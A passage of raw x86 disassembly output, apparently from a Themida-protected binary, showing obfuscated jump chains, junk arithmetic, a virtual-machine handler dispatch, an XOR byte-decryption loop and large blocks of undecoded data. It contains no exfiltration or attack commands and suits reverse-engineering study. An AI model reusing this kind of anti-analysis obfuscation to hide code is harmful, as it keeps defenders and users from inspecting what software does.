		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FA5F:				; CODE XREF: Themida_:0054A221j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edi
		push	ebp
		mov	ebp, 76F00ABAh
		mov	edi, ebp
		pop	ebp
		jmp	loc_54C7C2
; ---------------------------------------------------------------------------
		db 89h
		dd 3FBD242Ch, 0E936926Eh, 0FFFF7FA8h
; ---------------------------------------------------------------------------

loc_54FA84:				; CODE XREF: Themida_:00546A7Bj
		push	edi
		jmp	loc_54FA06
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 2414895Ch, 0EB4A05BAh, 14F75243h,	34E95A24h
		dd 5AFFFF9Ch, 4EC81h, 0C0E90000h, 55FFFF76h, 2AA4BD66h
		dd 2E5C166h, 45664D66h,	69ED8166h, 6A73E968h, 0C581FFFFh
		dd 4, 3302C583h, 2C31242Ch, 242C3324h, 5324248Bh, 5051D788h
		dd 8852FC88h, 8BF588E6h, 0C4812414h, 4,	8124048Bh, 4C4h
		dd 876C8800h, 1C8B5901h, 43E95624h, 52FFFF99h, 0FF48C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FB0D:				; CODE XREF: Themida_:00544689j
		mov	edi, 15202CCh
		sub	ecx, edi
		pop	edi
		mov	edx, ecx
		jmp	loc_54C9EC
; ---------------------------------------------------------------------------

loc_54FB1C:				; CODE XREF: Themida_:0054ED68j
		sub	dword ptr [esp+8], 2A68748Fh
		add	[esp+8], edi
		add	dword ptr [esp+8], 2A68748Fh
		pop	edi
		jmp	loc_54E96A
; ---------------------------------------------------------------------------

loc_54FB36:				; CODE XREF: Themida_:0054D196j
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5496E3
; ---------------------------------------------------------------------------

loc_54FB44:				; CODE XREF: Themida_:00545A3Cj
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	66D7h
		mov	[esp], esp
		jmp	loc_54F03A
; ---------------------------------------------------------------------------

loc_54FB59:				; CODE XREF: Themida_:005445EDj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_548141
; ---------------------------------------------------------------------------
		db 68h,	0C1h, 36h
		dd 4890000h, 2459B824h,	0C6013329h, 0EE815958h,	2, 9E44E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB82:				; CODE XREF: Themida_:0054AF86j
		sub	edx, 3B6F592Ah
		jmp	loc_544DBC
; ---------------------------------------------------------------------------

loc_54FB8D:				; CODE XREF: Themida_:00544EFAj
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54AEA4
; ---------------------------------------------------------------------------

loc_54FBB2:				; CODE XREF: Themida_:00550009j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0FFE823E9h, 24048FFFh, 8924248Bh, 0A7E9240Ch, 81FFFF4Fh
		dd 4ECh, 24348900h, 0C681E689h,	4, 0FFEB31E9h, 443CE9FFh
		dd 768FFFFh, 8900005Ah,	0A2B82404h, 311316B3h, 58D4E9C2h
		dd 0FA01FFFFh, 4420E95Fh, 0F801FFFFh, 51243C8Bh, 0FFE89BE9h
		dd 0E9E953FFh, 81FFFFC5h, 5F0C46E5h, 90ED814Dh,	290062FCh
		dd 91E95DE8h, 87FFFF92h, 665C240Ch, 5524048Bh, 2434FF54h
		dd 9CA7E95Dh, 489FFFFh,	6349B824h, 0EA814471h, 56DB65EBh
		dd 0C281C229h, 56DB65EBh, 0E924048Bh, 0FFFFC972h, 4EC81h
		dd 0A7E90000h, 0B9FFFFAEh, 4, 0FF4426E9h, 24248BFFh, 9C243CD2h
		dd 0FF43A9E9h, 0C48358FFh, 8E2DE904h, 9BE9FFFFh, 80FFFF43h
		dd 0A3E9CBC2h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC8F:				; CODE XREF: Themida_:005446F5j
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 253E194Fh
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 3EC54E6Ah
		add	ebp, edx
		pop	edx
		push	5E07h
		mov	[esp], ebp
		pop	dword ptr [edi+20h]
		pop	ebp
		jmp	loc_547A49
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 3C8904ECh, 81E78924h, 4C7h, 4C78100h, 57000000h
		dd 42474FFh, 24048F5Fh,	15F1815Ch, 31397453h, 240C8BC8h
		dd 8104C483h, 483EEFC3h, 21686803h, 13E90000h, 81FFFFEEh
		dd 4C2h, 0E6F0E900h, 0ED81FFFFh, 0D06ADFh, 835DEA01h, 148702EAh
		dd 89665C24h, 0B966240Ch, 166298Dh, 0F5966CBh, 6866C0B7h
		dd 89661A32h, 0EFE92404h, 0FFFFFF42h, 56582434h, 5A5AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD3E:				; CODE XREF: Themida_:0054EA35j
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_5458C5
; ---------------------------------------------------------------------------
		db 1, 0F8h, 5Fh
		dd 5C240487h, 5D99E953h, 0EF01FFFFh, 0FFA862E9h, 241C89FFh
		dd 0E73C9BBBh, 9FF3811Eh, 531EE73Ch, 3C267FBBh,	5BDF013Fh
		dd 42CEEF81h, 0DF016532h, 42CEC781h, 1DE96532h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD8B:				; CODE XREF: Themida_:0054DA68j
		dec	ebp
		push	ebp
		jmp	loc_549BDF
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2, 5C241C87h, 0FFB92FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FDA1:				; CODE XREF: Themida_:00545AC4j
		xor	edx, 6E1674FCh
		dec	edx
		add	edx, 1
		xor	edx, 7C3C3F85h
		jmp	loc_54E524
; ---------------------------------------------------------------------------

loc_54FDB6:				; CODE XREF: Themida_:0054B3F9j
		pop	ebx
		mov	edi, [esp]
		jmp	loc_546566
; ---------------------------------------------------------------------------
		db 52h
		dd 6DE985B2h, 83FFFF86h, 25E9FFC7h, 46FFFFEFh, 0E902E6C1h
		dd 0FFFF6B42h, 660EEB80h, 0C0B60F58h, 0E987048Fh, 0FFFF423Ah
		dd 0ED81FD01h, 57CE1283h, 81243C8Bh, 4C4h, 82E6800h, 6FE90000h
		dd 33FFFFCDh, 34312434h, 24343324h, 0DDD685Ch, 25E90000h
		dd 56FFFFB5h, 84389FBEh, 0A2E68149h, 466D0719h,	3B9FCE81h
		dd 0E6816E61h, 6BB36D50h, 0C9A7EE81h, 9E93D48h,	2DFFFFBAh
		dd 42E85E6Dh, 0E8D1D8F7h, 0FF722FE9h, 240487FFh, 3024248Bh
		dd 0E99C2404h, 0FFFF41CAh
; ---------------------------------------------------------------------------

loc_54FE58:				; CODE XREF: Themida_:0054B1DDj
		push	edx
		jmp	loc_5495A2
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 241C8BDDh,	0FFFAC4E9h, 7DEE81FFh, 0E9573225h
		dd 0FFFFE538h
; ---------------------------------------------------------------------------

loc_54FE78:				; CODE XREF: Themida_:00548F10j
		mov	esp, [esp]
		jmp	loc_544F2C
; ---------------------------------------------------------------------------

loc_54FE80:				; CODE XREF: Themida_:0054617Dj
		mov	esp, [esp]
		pop	esi
		not	esi
		jmp	loc_546210
; ---------------------------------------------------------------------------

loc_54FE8B:				; CODE XREF: Themida_:0054EE01j
		neg	edi
		add	edi, 2C8BE6E1h
		sub	ebp, 37370C63h
		add	ebp, edi
		add	ebp, 37370C63h
		mov	edi, [esp]
		push	eax
		jmp	loc_54A244
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 48904ECh, 8C18E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FEB6:				; CODE XREF: Themida_:0054AB7Dj
		sub	edx, 7D7D7FF3h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 66h,	68h, 0Bh
		dd 80CDE932h, 4BEFFFFh,	89000000h, 9371E9F1h, 8B66FFFFh
		dd 0EC812404h, 4, 54241489h, 3DAA685Ah,	34890000h, 4EC8324h
		dd 53240C89h, 64FB5BBh,	0DF95B952h, 0FBE9D854h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF1B:				; CODE XREF: Themida_:0054B916j
		push	edi
		jmp	loc_54EDF9
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 5D50E95Ch, 8158FFFFh, 6E1CD5F6h, 0D2E68120h,	0C1768903h
		dd 0EE8103EEh, 0B31CC109h, 63E9F729h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF47:				; CODE XREF: Themida_:00547F35j
		add	eax, 3F230D1Ch
		jmp	loc_549B41
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0Eh
		dd 81182855h, 46AEDC7h,	0EF814F05h, 276D8FBCh, 875FFA01h
		dd 815C2414h, 4ECh, 24048900h, 0BA52E089h, 59805B3Fh, 0FF7E81E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FF81:				; CODE XREF: Themida_:0054D067j
		pop	edx
		shr	ecx, 7
		push	ebx
		push	edi
		mov	edi, 3F177F38h
		not	edi
		or	edi, 7C817DA4h
		jmp	loc_546AD4
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 21h
		dd 59FFFF69h, 295DEB29h, 0F673E9DAh, 0E181FFFFh, 5CEF12CFh
		dd 0FF8900E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FFB5:				; CODE XREF: Themida_:005459DDj
		pop	ebp
		add	ebx, edx
		pop	edx
		jmp	loc_54D88C
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 813AE924h, 0F5CFFFFh, 8951C8B7h, 4C181E1h, 55000000h
		dd 4EC81h, 3C890000h, 5D77BF24h, 0E9471346h, 0FFFF51D6h
		dd 66B55166h, 0FF97C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FFF1:				; CODE XREF: Themida_:00548B33j
		mov	ebx, 2FBD16EBh
		jmp	loc_54A2DB
; ---------------------------------------------------------------------------

loc_54FFFB:				; CODE XREF: Themida_:0054932Bj
		mov	[esp], edx
		jmp	loc_5467E2
; ---------------------------------------------------------------------------

loc_550003:				; CODE XREF: Themida_:0054B98Ej
		add	esp, 4
		jmp	loc_54FBB2
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404ABh, 0FF4009E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550019:				; CODE XREF: Themida_:00548EB3j
		xor	edx, [esp]
		jmp	loc_54D6AE
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0B733E950h, 0C701FFFFh, 0FF9E1FE9h, 243C89FFh, 2BD55h
		dd 0EF890000h, 5FFD015Dh, 2474FF55h, 48F5D04h, 24248B24h
		dd 9C2424D2h, 0FF3FCDE9h, 0C2015DFFh, 4DA3EA81h, 0BB53278Fh
		dd 3C151A2h, 0AAE9D3F7h, 54FFFF4Ah, 8124048Bh, 4C4h, 7FBB5300h
		dd 8133B05Dh, 656C8DC3h, 0BEC3E904h, 0C1FEFFFFh, 0E945B652h
		dd 0FFFF72EEh
; ---------------------------------------------------------------------------

loc_550090:				; CODE XREF: Themida_:0054627Cj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_548CE4
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 0E9h
		dd 0FFFFCA53h
; ---------------------------------------------------------------------------

loc_5500AC:				; CODE XREF: Themida_:00547115j
		sub	ah, 0Ch
		dec	ah
		neg	ah
		jmp	loc_54B279
; ---------------------------------------------------------------------------
		dd 1957D9BBh, 81DBF74Dh, 86A531F3h, 5BDF2995h, 6D4AB951h
		dd 61E95C12h, 59FFFFD8h, 8B243C87h, 8B662424h, 0EC812404h
		dd 4, 83243C89h, 48904ECh, 5E08924h, 4,	0FFB318E9h, 48C0A4FFh
		dd 0FFA434FAh, 5A760EFFh, 5A1A0800h, 0CD08EB00h, 0FFE72EC2h
		dd 5A24E4FFh, 20700h, 200h, 100h, 200h,	48C0A400h, 0FAh
		dd 4 dup(0)
		dd 5599E300h, 551BDC00h, 550E4300h, 55093400h, 5521DC00h
		dd 55290400h, 55C04200h, 56384C00h, 55B0F000h, 55F49500h
		dd 5591E600h, 55F37F00h, 557E6E00h, 55DF9300h, 55249C00h
		dd 55725C00h, 552C0600h, 5648E900h, 563A7600h, 55946700h
		dd 5528CF00h, 55789A00h, 55DF0C00h, 55774700h, 562DA200h
		dd 5634D800h, 55332200h, 559EFE00h, 561BF400h, 5621B300h
		dd 55387F00h, 550B8900h, 55220000h, 557D1700h, 5513CF00h
		dd 55810E00h, 55780900h, 55CA5E00h, 5589ED00h, 55D34800h
		dd 5582EA00h, 5597AC00h, 5655C400h, 56430A00h, 5653A800h
		dd 5628CA00h, 55131900h, 558B7900h, 55E15700h, 5572D800h
		dd 55301A00h, 550C6A00h, 55D19D00h, 55994200h, 550D8000h
		dd 55278400h, 565CC700h, 55FEBD00h, 55CC8E00h, 56283C00h
		dd 55829700h, 55BB6200h, 55C9DA00h, 55C87500h, 556C7D00h
		dd 5529DE00h, 56334300h, 55476B00h, 553D9D00h, 5528E000h
		dd 5536EF00h, 55A53800h, 5557BF00h, 553C2100h, 55C06700h
		dd 56533600h, 5558D400h, 554EFF00h, 55491000h, 55AD5200h
		dd 562B8600h, 56126C00h, 555D7B00h, 55DEE200h, 56064A00h
		dd 55AB6500h, 550C5800h, 55177100h, 55B96800h, 5555B400h
		dd 5619F300h, 565ADB00h, 557CEC00h, 55BF7400h, 561AF600h
		dd 55C7A400h, 561B4F00h, 55D33900h, 564BCD00h, 55A70E00h
		dd 5559BD00h, 553B0A00h, 55257D00h, 55EEAD00h, 55AD0F00h
		dd 55F3D500h, 55801400h, 55A89A00h, 5574C300h, 5524B000h
		dd 550F3700h, 558F0B00h, 562B3400h, 55517C00h, 5505B400h
		dd 55435100h, 55FE3D00h, 55FA1C00h, 55A0D700h, 55326A00h
		dd 55924B00h, 55186F00h, 56095A00h, 562AE900h, 55644D00h
		dd 558F6C00h, 553C9400h, 5618D600h, 55314A00h, 561FE600h
		dd 55E64900h, 55238E00h, 5564AA00h, 55E3A400h, 560F5300h
		dd 55983D00h, 55F42300h, 55576B00h, 56147D00h, 55143D00h
		dd 562BB300h, 55A99300h, 55696800h, 55F1D400h, 56189600h
		dd 55F95D00h, 56564B00h, 55414100h, 55645F00h, 5533C500h
		dd 55F8E800h, 5537C900h, 5593D900h, 561CEE00h, 55E3F700h
		dd 55245500h, 5558F000h, 55271500h, 55256000h, 55486800h
		dd 55F14200h, 55DA4200h, 55522500h, 55A07700h, 55BD5100h
		dd 55F93000h, 56500D00h
		db 0
; ---------------------------------------------------------------------------

loc_5503D9:				; CODE XREF: Themida_:00596751j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60C433Dh
		mov	eax, edi
		add	edi, 60C4055h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5503F7
		jmp	short loc_55040A
; ---------------------------------------------------------------------------

loc_5503F7:				; CODE XREF: Themida_:005503F3j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550406
; ---------------------------------------------------------------------------

loc_550401:				; CODE XREF: Themida_:00550408j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_550406:				; CODE XREF: Themida_:005503FFj
		or	ecx, ecx
		jnz	short loc_550401

loc_55040A:				; CODE XREF: Themida_:005503F5j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_550417:				; CODE XREF: Themida_:0055041Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_550417

loc_550420:				; CODE XREF: Themida_:0055063Bj
					; Themida_:loc_5519E9j	...
		lodsb
		xor	al, bl
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	0A16h
		mov	[esp], ebx
		mov	bh, 79h
		sub	esp, 4
		jmp	loc_555CC8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3E8A3225h, 1207DE9h,	4C48300h, 34FFF121h, 24685E24h
		dd 89000040h, 5E542434h, 39E95357h, 0B000004Eh,	80F7348Bh
		dd 0C128F1C1h, 90DDE9h,	37CE8100h, 0E9589958h, 134C5h
		dd 80D1E380h, 0BBE93BC3h
		db 4Eh,	1, 0
; ---------------------------------------------------------------------------

loc_550493:				; CODE XREF: Themida_:00555970j
		add	ecx, 214172CEh
		pop	edi
		push	4162h
		mov	[esp], edi
		mov	edi, 3AF76AB4h
		sub	edi, 761258E3h
		add	edi, 414A0742h
		add	edi, 0F9D0E6F1h
		jmp	loc_552668
; ---------------------------------------------------------------------------
		dw 0F968h
		dd 0E9013B03h, 123E3h, 0DE4AC281h, 15E916EBh, 520000EFh
		dd 0E5550DBAh, 5BE2812Dh, 87611023h, 7A78E9F2h,	34890000h
		dd 4BE24h, 74010000h, 595E0424h, 4C181h, 0BF570000h, 14AA45AFh
		dd 4EC81h, 4890000h, 2516824h, 0C1583CC4h, 8F0D05E0h, 6877FD50h
		dd 0
		dd 58240429h, 5207E8C1h, 102C5E9h, 48F5A00h, 24248B24h
		dd 8B24048Fh, 89662424h, 0E1E9240Ch, 53FFFFFEh,	32B7E9h
		dd 4C48100h, 83000000h,	0EDE904ECh
		db 48h,	1, 0
; ---------------------------------------------------------------------------

loc_550553:				; CODE XREF: Themida_:005602F2j
		pop	esi
		inc	esi
		sub	esi, 37065E90h
		add	esi, 0D1E5ECDDh
		add	ebp, esi
		pop	esi
		jmp	loc_56212E
; ---------------------------------------------------------------------------

loc_550569:				; CODE XREF: Themida_:00561737j
		push	esp
		pop	ebx
		push	edi
		jmp	loc_557A0C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2BB53h, 0DE010000h, 2434335Bh, 0EAFDE9h, 68C78100h
		dd 53467238h, 69D7FDBBh, 5BDF2902h, 0E95FFB01h,	14216h
		dd 7337F681h, 81465DB0h, 49564DEEh, 0F589552Fh,	0E95DE889h
		dd 0F23Ah, 24048B66h, 4EC8150h,	89000000h, 4812424h, 424h
		dd 2434FF00h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56410C
; ---------------------------------------------------------------------------
		db 0FFh
a4ZvicsF	db '4$ZV‰ćé]”',0
		dw 5B00h
		dd 24148B58h, 9B2E9h, 8C28100h,	68D4B8BAh, 2223h, 0BD242C89h
		dd 668D10AFh, 20C9E581h, 0E5C161B7h, 1956E906h,	0D8280000h
		dd 0A798E9h, 241C8700h,	8B79E9h
		db 0
; ---------------------------------------------------------------------------

loc_550621:				; CODE XREF: Themida_:0055DEBCj
		sub	ch, 0BCh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	eax
		jmp	loc_5636E8
; ---------------------------------------------------------------------------

loc_550631:				; CODE XREF: Themida_:00564364j
		mov	esi, 6EAF2C66h
		add	[esp+4], esi
		pop	esi
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dd 240C895Ch, 10C46850h, 14890000h, 82B55124h, 9C6864B2h
		dd 8900005Bh, 78B7241Ch, 0F7E9C7FEh, 0BF00000Ah, 3A436767h
		dd 12904E9h, 81F90100h,	0D007DEC1h, 0C875F10h, 14D8E924h
		dd 0EB010001h, 57C3015Dh, 10916852h, 0C15A3F5Eh, 0C9E908E2h
		dd 5D000039h, 0FCAC681h, 4E921F3h, 8F000085h, 895C2404h
		dd 8D682434h, 89000058h, 0E9522424h, 84D4h, 815E5456h
		dd 4C6h, 4B85000h, 1000000h, 348758C6h,	48F5C24h, 24248B24h
		dd 0E9240489h, 0FFFFFD48h, 8152D6F7h, 4ECh, 24348900h
		dd 8124148Bh, 4C4h, 56E95E00h, 54000136h, 3926859h, 0D6E90000h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5506FF:				; CODE XREF: Themida_:005607D2j
		xor	edi, [esp]
		pop	esp
		jmp	loc_55A943
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0D682424h, 89000044h, 34FF241Ch, 24048B24h
		dd 5585450h, 4,	4BA52h,	0BB530000h, 68B4686Eh, 9730AC2Dh
		dd 4193E945h, 5C010001h, 0ABE90424h
		db 1Dh,	1, 0
; ---------------------------------------------------------------------------

loc_550743:				; CODE XREF: Themida_:00552999j
		mov	eax, 52556548h
		dec	eax
		add	eax, 6D3FC22h
		xor	edi, eax
		pop	eax
		add	edi, 5319C25h
		sub	esi, edi
		pop	edi
		push	ecx
		jmp	loc_554FA5
; ---------------------------------------------------------------------------
		dd 7C7FEE81h, 0EE813385h, 84B45482h, 0E95EF301h, 0BECEh
		dd 0E617E95Ah, 89510000h, 0BC95E9E1h, 0C4810000h, 4, 2B951h
		dd 0CF010000h, 81240C8Bh, 4C4h,	243C3300h, 33243C31h, 665C243Ch
		dd 57240C8Bh, 243C8B54h, 0A0F3E9h, 0E9F72900h, 1F3Ah, 81D3F74Bh
		dd 4B2B85C3h, 81DBF73Bh, 6858A1C3h, 5BDE01FEh, 8B2434FFh
		dd 0C4812404h, 4, 0E904C483h, 13F7Eh, 0E9E9F320h, 4000033h
		dd 34D0F601h, 7E7EE9AFh, 0C9810000h, 2C1F5470h,	7E7AE981h
		dd 0C889BEDFh, 12BC1E9h, 5FFD8900h, 204B2705h, 16DD0516h
		dd 0BA520430h, 2AD931B7h, 295AD001h, 31B72DE8h,	4AE92AD9h
		db 3Ch,	1, 0
; ---------------------------------------------------------------------------

loc_550827:				; CODE XREF: Themida_:00553015j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_559D3F
; ---------------------------------------------------------------------------

loc_550846:				; CODE XREF: Themida_:0055C5DAj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55B44D
; ---------------------------------------------------------------------------
aFzaSsgz	db 'fZ€Éségz',0
		align 10h
		dd 83240C8Bh, 0EC8104C4h, 4, 13DF5E9h, 0EDC15800h, 75ED8103h
		dd 102758Eh, 0E9525DEFh, 0A43h,	0BDFDE95Eh, 0EC810000h
		dd 4, 0BA241489h, 4, 12B22E9h, 0FB7EE900h, 3C89FFFFh, 515F5424h
		dd 0E3197EB9h, 7AE98178h, 178E319h, 26E0E9CFh, 0F7810001h
		dd 74D28BD4h, 535FFB01h, 42474FFh, 24048F5Bh, 7E17E9h
		dd 240C8B00h, 52E08950h, 826F9FBAh, 9BF28128h, 0E928826Fh
		dd 14B0Eh, 240C8B54h, 4C481h, 0EC810000h, 4, 0BA241489h
		dd 36D46439h, 36BEE94Ah, 0EDC00000h, 27F58003h,	0E910CD80h
		dd 0A648h, 4240481h, 5F000000h,	4C781h,	8BE90000h, 0F6000126h
		dd 51C680D6h, 0E95AF328h, 0D755h, 0FA885250h, 4C95E9h
		dd 4C68100h, 81000000h,	4C6h, 1203E900h, 0C1810000h, 0FDF37B74h
		dd 6A523E05h, 53C80162h, 6A523EBBh, 78E5E962h, 0AFBF0000h
		dd 81724E07h, 0CA2052C7h, 0B6E78144h, 814F752Bh, 8E542CEFh
		dd 5F5D5742h, 453AE9h
		db 0
; ---------------------------------------------------------------------------

loc_550985:				; CODE XREF: Themida_:00559CFEj
		add	esp, 4
		add	dword ptr [esp+4], 6E6863A8h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 6E6863A8h
		pop	ebx
		jmp	loc_5541F8
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 5Eh
		dd 89EE8956h, 815D5EF7h, 0D706BDC6h, 81FE292Fh,	0D706BDEEh
		dd 243C8B2Fh, 1240BE9h,	80F12800h, 4BE983E9h, 5400001Ah
		dd 40558h, 0C0830000h, 24048704h, 490FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5509E1:				; CODE XREF: Themida_:0056074Bj
		inc	edx
		push	esi
		mov	esi, 0AD594Fh
		or	edx, esi
		mov	esi, [esp]
		push	119h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_560C28
; ---------------------------------------------------------------------------
		dd 0E95EF001h, 0D247h, 0BD242C89h, 4, 515DE901h, 42474FFh
		dd 24048F59h, 907685Ch,	34890000h, 4BE24h, 95E90000h, 50000120h
		dd 805D01B8h, 28BD5537h, 2935501Ah, 0C1295DE9h,	1A28C181h
		dd 48B3550h, 4C48124h, 81000000h, 4FB862F1h, 0E9C831BAh
		dd 0CB98h, 5B545359h, 4C381h, 68570000h, 7C4Eh,	68243489h
		dd 646570CAh, 8324348Bh, 515004C4h, 0EB78DEB9h,	0E9C1495Eh
		dd 0EAC18105h, 8125D417h, 88C5B7C1h, 0FE8E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550A9E:				; CODE XREF: Themida_:00565B31j
		sub	ebx, 1957F20h
		push	7595h
		mov	[esp], ebp
		mov	ebp, 40212164h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_551A01
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C242CD2h, 0FFFDD8E9h, 0C68146FFh, 187E09B6h, 315EF529h
		dd 242C8BE9h, 8104C483h, 490ADBC9h, 81E1D119h, 5E127FC1h
		dd 0E9CB095Ah, 855Ah
; ---------------------------------------------------------------------------

loc_550AEC:				; CODE XREF: Themida_:005531E4j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55980D
; ---------------------------------------------------------------------------
		dd 0C681DEF7h, 78223D04h, 34FFF201h, 54565E24h,	4C6815Eh
		dd 83000000h, 348704C6h, 17E95C24h
		db 0, 1, 0
; ---------------------------------------------------------------------------

loc_550B23:				; CODE XREF: Themida_:00557728j
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5645E7
; ---------------------------------------------------------------------------
		dd 9F13D1BAh, 0E9D10106h, 5204h, 468h, 24348B00h, 4C481h
		dd 0A1E90000h, 2900001Bh, 3E958C5h, 10000F9h, 0BA525EF7h
		dd 4, 2567EF81h, 0D7291128h, 2E30E9h, 0E1895100h, 4C181h
		dd 0C1810000h, 4, 8B240C87h, 5B662424h,	7EAA6866h, 3BC7E9h
		dd 2434FF00h, 582434FFh, 10315E9h, 24248900h, 4240483h
		dd 5B2434FFh, 8904EC83h, 0E589242Ch, 0D4F4E9h, 359ABA00h
		dd 0BF5768F7h, 48BE7AD5h, 64B0EF81h, 0FA21386Eh, 5EAC15Fh
		dd 0AAB6C281h, 0DC053A84h, 2911D605h, 5DC2DD0h,	34FF11D6h
		dd 0C4815A24h, 4, 2853B951h, 0C82904F3h, 15CE9h, 88ADB500h
		dd 2FA8E9ECh, 1C890000h, 1BE5624h, 89000000h, 89555EF3h
		dd 0BFB8E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550C0A:				; CODE XREF: Themida_:0055703Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55B7E5
; ---------------------------------------------------------------------------
		dw 50BBh
		dd 0F764A85Ah, 96C381D3h, 17E389Eh, 0F7815BDFh,	8CC22740h
		dd 8904EC83h, 0BD552414h, 756422E2h, 708E9h, 5BDE0100h
		dd 0E904EC83h, 77B3h, 2EC81ACh,	66000000h, 0B1240C89h
		dd 1DD3E92Eh, 77FF0001h, 0F7AEE940h, 0E901FFFFh, 59CF015Dh
		dd 0E95FFA89h, 12B37h, 8B2434FFh, 54552404h, 13A58E9h
		dd 241C8900h, 3360DBBBh, 60E38178h, 813FC06Bh, 0EA3C12F3h
		dd 8BDA8938h, 0C481241Ch, 4, 4752E281h,	0EA811294h, 0D02511F3h
		dd 8904EC83h, 0DFB9240Ch, 8151493Ch, 4ECh, 24348900h, 712615BEh
		dd 5EF1011Fh, 0CB5FE9h,	0B0ED8100h, 16E4D5Fh, 0B0C581DDh
		dd 816E4D5Fh, 70789CC5h, 0C5815B0Fh, 4,	8B242C87h, 0E9F72424h
		dd 79F068h, 2777E900h, 0E1890000h, 4C181h, 0C1830000h
		dd 240C8704h, 2434FF5Ch, 8124048Bh, 4C4h, 0F000E900h, 0C890000h
		dd 0CE685024h, 8B58112Fh, 0C4812404h, 4, 0AC4A0035h, 25D6E904h
		dd 0E0890001h, 0DF2EE9h, 43055900h, 2D0C9D06h, 6E917A1Bh
		dd 1B05D829h, 0E96E917Ah, 3EADh, 158C189h, 1EAAE9CEh, 0DAF70000h
		dd 0E907E2C1h, 0D9Ah, 0EC80C4FEh, 0E9E288D0h, 1190Ah, 0FF3877FFh
		dd 0C8B2434h, 0A947E924h, 0E6890000h, 4C681h, 0BA520000h
		dd 4, 565AD629h, 42474FFh, 8124348Bh, 4C4h, 0A775E900h
		dd 0C2810000h, 4, 8704EA83h, 46E92414h,	8B0000C4h, 0F7892424h
		dd 684F5Eh, 29000000h, 0C1E9243Ch
		db 33h,	1, 0
; ---------------------------------------------------------------------------

